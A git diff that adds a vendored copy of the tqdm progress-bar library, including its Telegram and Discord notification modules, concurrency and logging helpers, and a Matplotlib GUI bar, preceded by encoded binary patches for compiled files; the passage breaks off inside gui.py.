zvC4F>9z3Rt3}MRiu6r@0fmJW7(tw%uysyU5VC)?n2SV05cpWZ=;Uw1Ay}wmr^<m$UlE=^+8yoplkF(VD%Jfz1Y=(w1OFZQ4Rg+qV>8NCM zFxRVKxmR23IHRD}z`#RkqJ9j9of4&~(dX(a@_$ytOs&GN4Zwr9p7{ zx{(gAyf(#VsGLS*Lr*6*-$)0IC76)VcG? ziFsTD0!Ap=N5{9~6h5G4FG`15=i*84t8F6qyN-DAP}-l@`hgoLC>{hiiom^@@BLGu zWgUYSL3IQH`lPi-XLO5v$98Oh6CCbRc@;mbV7(6u2aN%McOqT1ZlHe-vLwIx5cy$x zbqFK7-BXR%yAfj^S2uyE_q`(=@-V_-rD23yu5nKRZX6L&uEL5glfQ<~X;3GB0~46B z4T?FC%-px#If>|7*ccUswHxI|O_NRx!WC^L^k*jTLUhDj0-ohB>$ z=Q9~WsTamIwyOYDlOMuj|I9m+e%nM~6}o;K7t}jX8uz_ZZHSE3C1}V+MCC=)3Vtnk z+weNnerq%Pjcc{o3YFJj9m4a$gBcVnvkYGK7@8S*|MH&gnv7Q=3 z^*fkojGQtaj^m37y+fGlTnXh!t$J6kn6d3=*zJ0u^775FVt_&PBN1D=t}>wx_qJ-F zs;oHI4i7pJx6??(+?;U`ONRJy;67w`6kb=4pfaxLK@rhIq5|bgz~fuci%QHsraCUl zp@u#J38gCVUjywRe+zed-}oj(26jr?F6=>;PYWy0a(NMl(KWhGVWU9{r!=fTZ!{=7 zhr4|njs1>)nzbjLQ~+DmhK8I+kHp_1l{fIP^F=cVcs3|Y#Nk9wB$S8}O9~T|@-k3G z3ljzWD}p~#(!v2pPjg7P5`jTBut6u5SbY@pcg?>kQ{Va)*i~XdQY!dMq|nz*U1WmW zC~br}qKv^bQ?t1@%DVL?){-X3Y^%*MyxNS>3!sR@+SbZhx8XVrM%bJ7M~wat=q1+S literal 0 HcmV?d00001 diff --git a/thirdparty/tqdm/contrib/__pycache__/telegram.cpython-38.pyc b/thirdparty/tqdm/contrib/__pycache__/telegram.cpython-38.pyc new file mode 100644 index 0000000000000000000000000000000000000000..7c0a28fd9bdd0af56f2df745cd5ede75fd11c68b GIT binary patch literal 5406 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 J2xP}|{{b1~mO20c literal 0 HcmV?d00001 diff --git a/thirdparty/tqdm/contrib/bells.py b/thirdparty/tqdm/contrib/bells.py new file mode 100644 index 0000000..be22768 --- /dev/null +++ b/thirdparty/tqdm/contrib/bells.py @@ -0,0 +1,24 @@ +""" +Even more features than `tqdm.auto` (all the bells & whistles): + +- `tqdm.auto` +- `tqdm.tqdm.pandas` +- `tqdm.contrib.telegram` + + uses `${TQDM_TELEGRAM_TOKEN}` and `${TQDM_TELEGRAM_CHAT_ID}` +- `tqdm.contrib.discord` + + uses `${TQDM_DISCORD_TOKEN}` and `${TQDM_DISCORD_CHANNEL_ID}` +""" +__all__ = ['tqdm', 'trange'] +import warnings +from os import getenv + +if getenv("TQDM_TELEGRAM_TOKEN") and getenv("TQDM_TELEGRAM_CHAT_ID"): + from .telegram import tqdm, trange +elif getenv("TQDM_DISCORD_TOKEN") and getenv("TQDM_DISCORD_CHANNEL_ID"): + from .discord import tqdm, trange +else: + from ..auto import tqdm, trange + +with warnings.catch_warnings(): + warnings.simplefilter("ignore", category=FutureWarning) + tqdm.pandas() diff --git a/thirdparty/tqdm/contrib/concurrent.py b/thirdparty/tqdm/contrib/concurrent.py new file mode 100644 index 0000000..ccb5e12 --- /dev/null +++ b/thirdparty/tqdm/contrib/concurrent.py @@ -0,0 +1,130 @@ +""" +Thin wrappers around `concurrent.futures`. +""" +from __future__ import absolute_import + +from contextlib import contextmanager + +from ..auto import tqdm as tqdm_auto +from ..std import TqdmWarning + +try: + from operator import length_hint +except ImportError: + def length_hint(it, default=0): + """Returns `len(it)`, falling back to `default`""" + try: + return len(it) + except TypeError: + return default +try: + from os import cpu_count +except ImportError: + try: + from multiprocessing import cpu_count + except ImportError: + def cpu_count(): + return 4 +import sys + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['thread_map', 'process_map'] + + +@contextmanager +def ensure_lock(tqdm_class, lock_name=""): + """get (create if necessary) and then restore `tqdm_class`'s lock""" + old_lock = getattr(tqdm_class, '_lock', None) # don't create a new lock + lock = old_lock or tqdm_class.get_lock() # maybe create a new lock + lock = getattr(lock, lock_name, lock) # maybe subtype + tqdm_class.set_lock(lock) + yield lock + if old_lock is None: + del tqdm_class._lock + else: + tqdm_class.set_lock(old_lock) + + +def _executor_map(PoolExecutor, fn, *iterables, **tqdm_kwargs): + """ + Implementation of `thread_map` and `process_map`. + + Parameters + ---------- + tqdm_class : [default: tqdm.auto.tqdm]. + max_workers : [default: min(32, cpu_count() + 4)]. + chunksize : [default: 1]. + lock_name : [default: "":str]. + """ + kwargs = tqdm_kwargs.copy() + if "total" not in kwargs: + kwargs["total"] = length_hint(iterables[0]) + tqdm_class = kwargs.pop("tqdm_class", tqdm_auto) + max_workers = kwargs.pop("max_workers", min(32, cpu_count() + 4)) + chunksize = kwargs.pop("chunksize", 1) + lock_name = kwargs.pop("lock_name", "") + with ensure_lock(tqdm_class, lock_name=lock_name) as lk: + pool_kwargs = {'max_workers': max_workers} + sys_version = sys.version_info[:2] + if sys_version >= (3, 7): + # share lock in case workers are already using `tqdm` + pool_kwargs.update(initializer=tqdm_class.set_lock, initargs=(lk,)) + map_args = {} + if not (3, 0) < sys_version < (3, 5): + map_args.update(chunksize=chunksize) + with PoolExecutor(**pool_kwargs) as ex: + return list(tqdm_class(ex.map(fn, *iterables, **map_args), **kwargs)) + + +def thread_map(fn, *iterables, **tqdm_kwargs): + """ + Equivalent of `list(map(fn, *iterables))` + driven by `concurrent.futures.ThreadPoolExecutor`. + + Parameters + ---------- + tqdm_class : optional + `tqdm` class to use for bars [default: tqdm.auto.tqdm]. + max_workers : int, optional + Maximum number of workers to spawn; passed to + `concurrent.futures.ThreadPoolExecutor.__init__`. + [default: max(32, cpu_count() + 4)]. + """ + from concurrent.futures import ThreadPoolExecutor + return _executor_map(ThreadPoolExecutor, fn, *iterables, **tqdm_kwargs) + + +def process_map(fn, *iterables, **tqdm_kwargs): + """ + Equivalent of `list(map(fn, *iterables))` + driven by `concurrent.futures.ProcessPoolExecutor`. + + Parameters + ---------- + tqdm_class : optional + `tqdm` class to use for bars [default: tqdm.auto.tqdm]. + max_workers : int, optional + Maximum number of workers to spawn; passed to + `concurrent.futures.ProcessPoolExecutor.__init__`. + [default: min(32, cpu_count() + 4)]. + chunksize : int, optional + Size of chunks sent to worker processes; passed to + `concurrent.futures.ProcessPoolExecutor.map`. [default: 1]. + lock_name : str, optional + Member of `tqdm_class.get_lock()` to use [default: mp_lock]. + """ + from concurrent.futures import ProcessPoolExecutor + if iterables and "chunksize" not in tqdm_kwargs: + # default `chunksize=1` has poor performance for large iterables + # (most time spent dispatching items to workers). + longest_iterable_len = max(map(length_hint, iterables)) + if longest_iterable_len > 1000: + from warnings import warn + warn("Iterable length %d > 1000 but `chunksize` is not set." + " This may seriously degrade multiprocess performance." + " Set `chunksize=1` or more." % longest_iterable_len, + TqdmWarning, stacklevel=2) + if "lock_name" not in tqdm_kwargs: + tqdm_kwargs = tqdm_kwargs.copy() + tqdm_kwargs["lock_name"] = "mp_lock" + return _executor_map(ProcessPoolExecutor, fn, *iterables, **tqdm_kwargs) diff --git a/thirdparty/tqdm/contrib/discord.py b/thirdparty/tqdm/contrib/discord.py new file mode 100644 index 0000000..713a2f8 --- /dev/null +++ b/thirdparty/tqdm/contrib/discord.py @@ -0,0 +1,121 @@ +""" +Sends updates to a Discord bot. + +Usage: +>>> from tqdm.contrib.discord import tqdm, trange +>>> for i in tqdm(iterable, token='{token}', channel_id='{channel_id}'): +... ... + +![screenshot](https://img.tqdm.ml/screenshot-discord.png) +""" +from __future__ import absolute_import + +import logging +from os import getenv + +try: + from disco.client import Client, ClientConfig +except ImportError: + raise ImportError("Please `pip install disco-py`") + +from ..auto import tqdm as tqdm_auto +from ..utils import _range +from .utils_worker import MonoWorker + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['DiscordIO', 'tqdm_discord', 'tdrange', 'tqdm', 'trange'] + + +class DiscordIO(MonoWorker): + """Non-blocking file-like IO using a Discord Bot.""" + def __init__(self, token, channel_id): + """Creates a new message in the given `channel_id`.""" + super(DiscordIO, self).__init__() + config = ClientConfig() + config.token = token + client = Client(config) + self.text = self.__class__.__name__ + try: + self.message = client.api.channels_messages_create(channel_id, self.text) + except Exception as e: + tqdm_auto.write(str(e)) + + def write(self, s): + """Replaces internal `message`'s text with `s`.""" + if not s: + s = "..." + s = s.replace('\r', '').strip() + if s == self.text: + return # skip duplicate message + self.text = s + try: + future = self.submit(self.message.edit, '`' + s + '`') + except Exception as e: + tqdm_auto.write(str(e)) + else: + return future + + +class tqdm_discord(tqdm_auto): + """ + Standard `tqdm.auto.tqdm` but also sends updates to a Discord Bot. + May take a few seconds to create (`__init__`). + + - create a discord bot (not public, no requirement of OAuth2 code + grant, only send message permissions) & invite it to a channel: + + - copy the bot `{token}` & `{channel_id}` and paste below + + >>> from tqdm.contrib.discord import tqdm, trange + >>> for i in tqdm(iterable, token='{token}', channel_id='{channel_id}'): + ... ... + """ + def __init__(self, *args, **kwargs): + """ + Parameters + ---------- + token : str, required. Discord token + [default: ${TQDM_DISCORD_TOKEN}]. + channel_id : int, required. Discord channel ID + [default: ${TQDM_DISCORD_CHANNEL_ID}]. + mininterval : float, optional. + Minimum of [default: 1.5] to avoid rate limit. + + See `tqdm.auto.tqdm.__init__` for other parameters. + """ + if not kwargs.get('disable'): + kwargs = kwargs.copy() + logging.getLogger("HTTPClient").setLevel(logging.WARNING) + self.dio = DiscordIO( + kwargs.pop('token', getenv("TQDM_DISCORD_TOKEN")), + kwargs.pop('channel_id', getenv("TQDM_DISCORD_CHANNEL_ID"))) + kwargs['mininterval'] = max(1.5, kwargs.get('mininterval', 1.5)) + super(tqdm_discord, self).__init__(*args, **kwargs) + + def display(self, **kwargs): + super(tqdm_discord, self).display(**kwargs) + fmt = self.format_dict + if fmt.get('bar_format', None): + fmt['bar_format'] = fmt['bar_format'].replace( + '', '{bar:10u}').replace('{bar}', '{bar:10u}') + else: + fmt['bar_format'] = '{l_bar}{bar:10u}{r_bar}' + self.dio.write(self.format_meter(**fmt)) + + def clear(self, *args, **kwargs): + super(tqdm_discord, self).clear(*args, **kwargs) + if not self.disable: + self.dio.write("") + + +def tdrange(*args, **kwargs): + """ + A shortcut for `tqdm.contrib.discord.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_discord(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_discord +trange = tdrange diff --git a/thirdparty/tqdm/contrib/itertools.py b/thirdparty/tqdm/contrib/itertools.py new file mode 100644 index 0000000..9cce75e --- /dev/null +++ b/thirdparty/tqdm/contrib/itertools.py @@ -0,0 +1,36 @@ +""" +Thin wrappers around `itertools`. +""" +from __future__ import absolute_import + +import itertools + +from ..auto import tqdm as tqdm_auto + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['product'] + + +def product(*iterables, **tqdm_kwargs): + """ + Equivalent of `itertools.product`. + + Parameters + ---------- + tqdm_class : [default: tqdm.auto.tqdm]. + """ + kwargs = tqdm_kwargs.copy() + tqdm_class = kwargs.pop("tqdm_class", tqdm_auto) + try: + lens = list(map(len, iterables)) + except TypeError: + total = None + else: + total = 1 + for i in lens: + total *= i + kwargs.setdefault("total", total) + with tqdm_class(**kwargs) as t: + for i in itertools.product(*iterables): + yield i + t.update() diff --git a/thirdparty/tqdm/contrib/logging.py b/thirdparty/tqdm/contrib/logging.py new file mode 100644 index 0000000..cd9925e --- /dev/null +++ b/thirdparty/tqdm/contrib/logging.py @@ -0,0 +1,128 @@ +""" +Helper functionality for interoperability with stdlib `logging`. +""" +from __future__ import absolute_import + +import logging +import sys +from contextlib import contextmanager + +try: + from typing import Iterator, List, Optional, Type # pylint: disable=unused-import +except ImportError: + pass + +from ..std import tqdm as std_tqdm + + +class _TqdmLoggingHandler(logging.StreamHandler): + def __init__( + self, + tqdm_class=std_tqdm # type: Type[std_tqdm] + ): + super(_TqdmLoggingHandler, self).__init__() + self.tqdm_class = tqdm_class + + def emit(self, record): + try: + msg = self.format(record) + self.tqdm_class.write(msg, file=self.stream) + self.flush() + except (KeyboardInterrupt, SystemExit): + raise + except: # noqa pylint: disable=bare-except + self.handleError(record) + + +def _is_console_logging_handler(handler): + return (isinstance(handler, logging.StreamHandler) + and handler.stream in {sys.stdout, sys.stderr}) + + +def _get_first_found_console_logging_handler(handlers): + for handler in handlers: + if _is_console_logging_handler(handler): + return handler + + +@contextmanager +def logging_redirect_tqdm( + loggers=None, # type: Optional[List[logging.Logger]], + tqdm_class=std_tqdm # type: Type[std_tqdm] +): + # type: (...) -> Iterator[None] + """ + Context manager redirecting console logging to `tqdm.write()`, leaving + other logging handlers (e.g. log files) unaffected. + + Parameters + ---------- + loggers : list, optional + Which handlers to redirect (default: [logging.root]). + tqdm_class : optional + + Example + ------- + ```python + import logging + from tqdm import trange + from tqdm.contrib.logging import logging_redirect_tqdm + + LOG = logging.getLogger(__name__) + + if __name__ == '__main__': + logging.basicConfig(level=logging.INFO) + with logging_redirect_tqdm(): + for i in trange(9): + if i == 4: + LOG.info("console logging redirected to `tqdm.write()`") + # logging restored + ``` + """ + if loggers is None: + loggers = [logging.root] + original_handlers_list = [logger.handlers for logger in loggers] + try: + for logger in loggers: + tqdm_handler = _TqdmLoggingHandler(tqdm_class) + orig_handler = _get_first_found_console_logging_handler(logger.handlers) + if orig_handler is not None: + tqdm_handler.setFormatter(orig_handler.formatter) + tqdm_handler.stream = orig_handler.stream + logger.handlers = [ + handler for handler in logger.handlers + if not _is_console_logging_handler(handler)] + [tqdm_handler] + yield + finally: + for logger, original_handlers in zip(loggers, original_handlers_list): + logger.handlers = original_handlers + + +@contextmanager +def tqdm_logging_redirect( + *args, + # loggers=None, # type: Optional[List[logging.Logger]] + # tqdm=None, # type: Optional[Type[tqdm.tqdm]] + **kwargs +): + # type: (...) -> Iterator[None] + """ + Convenience shortcut for: + ```python + with tqdm_class(*args, **tqdm_kwargs) as pbar: + with logging_redirect_tqdm(loggers=loggers, tqdm_class=tqdm_class): + yield pbar + ``` + + Parameters + ---------- + tqdm_class : optional, (default: tqdm.std.tqdm). + loggers : optional, list. + **tqdm_kwargs : passed to `tqdm_class`. + """ + tqdm_kwargs = kwargs.copy() + loggers = tqdm_kwargs.pop('loggers', None) + tqdm_class = tqdm_kwargs.pop('tqdm_class', std_tqdm) + with tqdm_class(*args, **tqdm_kwargs) as pbar: + with logging_redirect_tqdm(loggers=loggers, tqdm_class=tqdm_class): + yield pbar diff --git a/thirdparty/tqdm/contrib/telegram.py b/thirdparty/tqdm/contrib/telegram.py new file mode 100644 index 0000000..99cbe8c --- /dev/null +++ b/thirdparty/tqdm/contrib/telegram.py @@ -0,0 +1,159 @@ +""" +Sends updates to a Telegram bot. + +Usage: +>>> from tqdm.contrib.telegram import tqdm, trange +>>> for i in trange(10, token='{token}', chat_id='{chat_id}'): +... ... + +![screenshot](https://img.tqdm.ml/screenshot-telegram.gif) +""" +from __future__ import absolute_import + +from os import getenv +from warnings import warn + +from requests import Session + +from ..auto import tqdm as tqdm_auto +from ..std import TqdmWarning +from ..utils import _range +from .utils_worker import MonoWorker + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['TelegramIO', 'tqdm_telegram', 'ttgrange', 'tqdm', 'trange'] + + +class TelegramIO(MonoWorker): + """Non-blocking file-like IO using a Telegram Bot.""" + API = 'https://api.telegram.org/bot' + + def __init__(self, token, chat_id): + """Creates a new message in the given `chat_id`.""" + super(TelegramIO, self).__init__() + self.token = token + self.chat_id = chat_id + self.session = Session() + self.text = self.__class__.__name__ + self.message_id + + @property + def message_id(self): + if hasattr(self, '_message_id'): + return self._message_id + try: + res = self.session.post( + self.API + '%s/sendMessage' % self.token, + data={'text': '`' + self.text + '`', 'chat_id': self.chat_id, + 'parse_mode': 'MarkdownV2'}).json() + except Exception as e: + tqdm_auto.write(str(e)) + else: + if res.get('error_code') == 429: + warn("Creation rate limit: try increasing `mininterval`.", + TqdmWarning, stacklevel=2) + else: + self._message_id = res['result']['message_id'] + return self._message_id + + def write(self, s): + """Replaces internal `message_id`'s text with `s`.""" + if not s: + s = "..." + s = s.replace('\r', '').strip() + if s == self.text: + return # avoid duplicate message Bot error + message_id = self.message_id + if message_id is None: + return + self.text = s + try: + future = self.submit( + self.session.post, self.API + '%s/editMessageText' % self.token, + data={'text': '`' + s + '`', 'chat_id': self.chat_id, + 'message_id': message_id, 'parse_mode': 'MarkdownV2'}) + except Exception as e: + tqdm_auto.write(str(e)) + else: + return future + + def delete(self): + """Deletes internal `message_id`.""" + try: + future = self.submit( + self.session.post, self.API + '%s/deleteMessage' % self.token, + data={'chat_id': self.chat_id, 'message_id': self.message_id}) + except Exception as e: + tqdm_auto.write(str(e)) + else: + return future + + +class tqdm_telegram(tqdm_auto): + """ + Standard `tqdm.auto.tqdm` but also sends updates to a Telegram Bot. + May take a few seconds to create (`__init__`). + + - create a bot + - copy its `{token}` + - add the bot to a chat and send it a message such as `/start` + - go to to find out + the `{chat_id}` + - paste the `{token}` & `{chat_id}` below + + >>> from tqdm.contrib.telegram import tqdm, trange + >>> for i in tqdm(iterable, token='{token}', chat_id='{chat_id}'): + ... ... + """ + def __init__(self, *args, **kwargs): + """ + Parameters + ---------- + token : str, required. Telegram token + [default: ${TQDM_TELEGRAM_TOKEN}]. + chat_id : str, required. Telegram chat ID + [default: ${TQDM_TELEGRAM_CHAT_ID}]. + + See `tqdm.auto.tqdm.__init__` for other parameters. + """ + if not kwargs.get('disable'): + kwargs = kwargs.copy() + self.tgio = TelegramIO( + kwargs.pop('token', getenv('TQDM_TELEGRAM_TOKEN')), + kwargs.pop('chat_id', getenv('TQDM_TELEGRAM_CHAT_ID'))) + super(tqdm_telegram, self).__init__(*args, **kwargs) + + def display(self, **kwargs): + super(tqdm_telegram, self).display(**kwargs) + fmt = self.format_dict + if fmt.get('bar_format', None): + fmt['bar_format'] = fmt['bar_format'].replace( + '', '{bar:10u}').replace('{bar}', '{bar:10u}') + else: + fmt['bar_format'] = '{l_bar}{bar:10u}{r_bar}' + self.tgio.write(self.format_meter(**fmt)) + + def clear(self, *args, **kwargs): + super(tqdm_telegram, self).clear(*args, **kwargs) + if not self.disable: + self.tgio.write("") + + def close(self): + if self.disable: + return + super(tqdm_telegram, self).close() + if not (self.leave or (self.leave is None and self.pos == 0)): + self.tgio.delete() + + +def ttgrange(*args, **kwargs): + """ + A shortcut for `tqdm.contrib.telegram.tqdm(xrange(*args), **kwargs)`. + On Python3+, `range` is used instead of `xrange`. + """ + return tqdm_telegram(_range(*args), **kwargs) + + +# Aliases +tqdm = tqdm_telegram +trange = ttgrange diff --git a/thirdparty/tqdm/contrib/utils_worker.py b/thirdparty/tqdm/contrib/utils_worker.py new file mode 100644 index 0000000..17adda6 --- /dev/null +++ b/thirdparty/tqdm/contrib/utils_worker.py @@ -0,0 +1,40 @@ +""" +IO/concurrency helpers for `tqdm.contrib`. +""" +from __future__ import absolute_import + +from collections import deque +from concurrent.futures import ThreadPoolExecutor + +from ..auto import tqdm as tqdm_auto + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['MonoWorker'] + + +class MonoWorker(object): + """ + Supports one running task and one waiting task. + The waiting task is the most recent submitted (others are discarded). + """ + def __init__(self): + self.pool = ThreadPoolExecutor(max_workers=1) + self.futures = deque([], 2) + + def submit(self, func, *args, **kwargs): + """`func(*args, **kwargs)` may replace currently waiting task.""" + futures = self.futures + if len(futures) == futures.maxlen: + running = futures.popleft() + if not running.done(): + if len(futures): # clear waiting + waiting = futures.pop() + waiting.cancel() + futures.appendleft(running) # re-insert running + try: + waiting = self.pool.submit(func, *args, **kwargs) + except Exception as e: + tqdm_auto.write(str(e)) + else: + futures.append(waiting) + return waiting diff --git a/thirdparty/tqdm/dask.py b/thirdparty/tqdm/dask.py new file mode 100644 index 0000000..6fc7504 --- /dev/null +++ b/thirdparty/tqdm/dask.py @@ -0,0 +1,46 @@ +from __future__ import absolute_import + +from functools import partial + +from dask.callbacks import Callback + +from .auto import tqdm as tqdm_auto + +__author__ = {"github.com/": ["casperdcl"]} +__all__ = ['TqdmCallback'] + + +class TqdmCallback(Callback): + """Dask callback for task progress.""" + def __init__(self, start=None, pretask=None, tqdm_class=tqdm_auto, + **tqdm_kwargs): + """ + Parameters + ---------- + tqdm_class : optional + `tqdm` class to use for bars [default: `tqdm.auto.tqdm`]. + tqdm_kwargs : optional + Any other arguments used for all bars. + """ + super(TqdmCallback, self).__init__(start=start, pretask=pretask) + if tqdm_kwargs: + tqdm_class = partial(tqdm_class, **tqdm_kwargs) + self.tqdm_class = tqdm_class + + def _start_state(self, _, state): + self.pbar = self.tqdm_class(total=sum( + len(state[k]) for k in ['ready', 'waiting', 'running', 'finished'])) + + def _posttask(self, *_, **__): + self.pbar.update() + + def _finish(self, *_, **__): + self.pbar.close() + + def display(self): + """Displays in the current cell in Notebooks.""" + container = getattr(self.bar, 'container', None) + if container is None: + return + from .notebook import display + display(container) diff --git a/thirdparty/tqdm/gui.py b/thirdparty/tqdm/gui.py new file mode 100644 index 0000000..4612701 --- /dev/null +++ b/thirdparty/tqdm/gui.py @@ -0,0 +1,191 @@ +""" +Matplotlib GUI progressbar decorator for iterators. + +Usage: +>>> from tqdm.gui import trange, tqdm +>>> for i in trange(10): +... ... +""" +# future division is important to divide integers and get as +# a result precise floating numbers (instead of truncated int) +from __future__ import absolute_import, division + +import re +from warnings import warn + +# to inherit from the tqdm class +from .std import TqdmExperimentalWarning +from .std import tqdm as std_tqdm +# import compatibility functions and utilities +from .utils import _range + +__author__ = {"github.com/": ["casperdcl", "lrq3000"]} +__all__ = ['tqdm_gui', 'tgrange', 'tqdm', 'trange'] + + +class tqdm_gui(std_tqdm): # pragma: no cover + """Experimental Matplotlib GUI version of tqdm!""" + # TODO: @classmethod: write() on GUI? + def __init__(self, *args, **kwargs): + from collections import deque + + import matplotlib as mpl + import matplotlib.pyplot as plt + kwargs = kwargs.copy() + kwargs['gui'] = True + colour = kwargs.pop('colour', 'g') + super(tqdm_gui, self).__init__(*args, **kwargs) + + if self.disable: + return + + warn("GUI is experimental/alpha", TqdmExperimentalWarning, stacklevel=2) + self.mpl = mpl + self.plt = plt + + # Remember if external environment uses toolbars + self.toolbar = self.mpl.rcParams['toolbar'] + self.mpl.rcParams['toolbar'] = 'None' + + self.mininterval = max(self.mininterval, 0.5) + self.fig, ax = plt.subplots(figsize=(9, 2.2)) + # self.fig.subplots_adjust(bottom=0.2) + total = self.__len__() # avoids TypeError on None #971 + if total is not None: + self.xdata = [] + self.ydata = [] + self.zdata = [] + else: + self.xdata = deque([]) + self.ydata = deque([]) + self.zdata = deque([]) + self.line1, = ax.plot(self.xdata, self.ydata, color='b') + self.line2, = ax.plot(self.xdata, self.zdata, color='k') + ax.set_ylim(0, 0.001) + if total is not None: + ax.set_xlim(0, 100) + ax.set_xlabel("percent") + self.fig.legend((self.line1, self.line2), ("cur", "est"), + 